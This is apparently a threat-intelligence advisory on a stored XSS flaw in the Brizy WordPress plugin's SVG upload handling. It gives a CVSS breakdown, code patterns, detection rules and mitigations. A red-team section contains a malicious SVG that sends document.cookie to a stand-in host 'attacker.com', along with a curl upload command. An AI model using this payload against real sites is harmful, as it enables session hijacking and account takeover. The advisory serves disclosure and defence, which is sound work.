CVE-2024-10322

Executive Summary

CVE-2024-10322 is a Stored Cross-Site Scripting (XSS) vulnerability in the Brizy – Page Builder WordPress plugin, affecting all versions up to and including 2.6.8. The flaw resides in the REST API endpoint responsible for handling SVG file uploads. Due to insufficient input sanitization and output escaping, authenticated attackers with Author-level access or higher can upload malicious SVG files containing arbitrary JavaScript. When any user (including administrators) accesses the uploaded SVG file, the injected script executes within their browser session, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is particularly dangerous in the WordPress ecosystem because it bypasses typical file upload restrictions by leveraging the SVG format, which is often allowed for legitimate use cases (e.g., logos, icons). The attack does not require any special privileges beyond Author-level access, which is commonly granted to content contributors.

Supply Chain & Package Security

This vulnerability affects the Brizy WordPress plugin, which is distributed via the official WordPress plugin repository. As of the latest advisory, no official patch has been released. Users are advised to:

• Monitor the plugin's changelog for updates.
• Consider disabling SVG uploads or restricting the plugin's REST API access until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block malicious SVG uploads.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Author-level access.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the SVG file.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation (e.g., stealing admin cookies) elevate the risk in real-world scenarios.

Deep Dive & Mechanics

The vulnerability exists in the REST API endpoint used by Brizy for file uploads. Specifically, the plugin fails to properly validate and sanitize SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover). When the plugin processes an SVG upload via its REST API, it does not:

1. Strip or escape JavaScript from the SVG content.
2. Validate the MIME type or file extension against a strict allowlist.
3. Set proper Content-Type headers (e.g., Content-Type: image/svg+xml) that would prevent script execution.

The attack flow:

1. An authenticated user with Author-level access crafts a malicious SVG file containing JavaScript (e.g., <script>alert('XSS')</script>).
2. The user uploads the SVG via the Brizy REST API endpoint (e.g., /wp-json/brizy/v1/media).
3. The plugin stores the file in the WordPress media library.
4. When any user (including admins) accesses the SVG file URL, the browser renders the SVG and executes the embedded JavaScript.

The injected script can perform actions such as:

• Stealing session cookies.
• Performing actions on behalf of the victim (e.g., creating admin accounts).
• Defacing the site.
• Redirecting users to malicious sites.

Vulnerable vs. Patched Code

Since no official patch is available, the following analysis is based on the vulnerable code pattern.

Vulnerable Code (Brizy <= 2.6.8):

// In Brizy's REST API upload handler
function handle_svg_upload($file) {
    // No validation of SVG content
    $upload = wp_handle_upload($file, array('test_form' => false));
    // No sanitization of SVG content
    return $upload;
}

Patched Code (Hypothetical):

function handle_svg_upload($file) {
    // Validate MIME type
    $allowed_mime = array('image/svg+xml');
    if (!in_array($file['type'], $allowed_mime)) {
        return new WP_Error('invalid_mime', 'Invalid file type');
    }
    // Sanitize SVG content
    $svg_content = file_get_contents($file['tmp_name']);
    $sanitized_svg = wp_kses($svg_content, array(
        'svg' => array(
            'xmlns' => array(),
            'viewBox' => array(),
            // Allow only safe attributes
        ),
        'path' => array(
            'd' => array(),
            'fill' => array(),
        ),
        // Disallow script tags and event handlers
    ));
    file_put_contents($file['tmp_name'], $sanitized_svg);
    $upload = wp_handle_upload($file, array('test_form' => false));
    return $upload;
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Brizy plugin <= 2.6.8.
• Valid user account with Author-level privileges.

Step 1: Craft Malicious SVG Create a file named malicious.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script type="text/javascript">
    // Steal admin cookie
    var img = new Image();
    img.src = "https://attacker.com/steal?cookie=" + document.cookie;
  </script>
  <circle cx="50" cy="50" r="40" fill="red" />
</svg>

Step 2: Upload via REST API Use curl to upload the SVG file:

curl -X POST \
  -H "Content-Type: multipart/form-data" \
  -H "Cookie: wordpress_logged_in_<hash>=<session_cookie>" \
  -F "file=@malicious.svg" \
  -F "action=brizy_media_upload" \
  https://target.com/wp-admin/admin-ajax.php

Step 3: Trigger Execution Access the uploaded SVG file URL (e.g., https://target.com/wp-content/uploads/2024/10/malicious.svg). The script executes in the browser of any user viewing the file.

Blue Team (Defender)

Detection:

• Monitor REST API uploads for SVG files with suspicious content.
• Look for wp-admin/admin-ajax.php requests with action=brizy_media_upload and file type image/svg+xml.
• Analyze SVG files for embedded <script> tags or event handlers.

Prevention:

• Disable SVG uploads entirely if not needed.
• Use a WAF to block SVG files containing JavaScript.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes will vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious.svg)
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=brizy_media_upload.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• File System Indicators:
  • SVG files in /wp-content/uploads/ containing <script> tags.
• Log Entries:
  • WordPress debug logs showing brizy_media_upload action with non-image MIME types.

Detection Engineering

YARA Rule

rule CVE_2024_10322_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-10322"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-10322"
    strings:
        $svg_header = "<svg"
        $script_tag = "<script"
        $event_handler = /on\w+\s*=\s*["']/
    condition:
        $svg_header and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2024-10322 - Brizy SVG Upload XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload malicious SVG files via Brizy REST API
author: Valters IT
logsource:
    category: web
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=brizy_media_upload'
        http.content_type: 'multipart/form-data'
    filter:
        http.body: 'file.*\.(png|jpg|jpeg|gif)$'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10322 - Brizy SVG Upload XSS"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=brizy_media_upload"; http_client_body; pcre:"/filename=\".*\.svg\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in Brizy by adding a filter to your theme's functions.php:

   add_filter('brizy_media_upload_allowed_types', function($types) {
       return array_diff($types, array('image/svg+xml'));
   });
   

2. Restrict REST API access to authenticated users only (default in WordPress, but verify).
3. Implement a WAF rule to block SVG files containing <script> tags.

Long-term Fix:

• Monitor the Brizy plugin repository for an official patch.
• Consider switching to an alternative page builder that properly sanitizes SVG uploads.
• Regularly audit user permissions and remove unnecessary Author-level accounts.

Valters IT Signature:

This report was generated by Valters IT Cyber Threat Intelligence.
For questions or support, contact: info@valters-it.com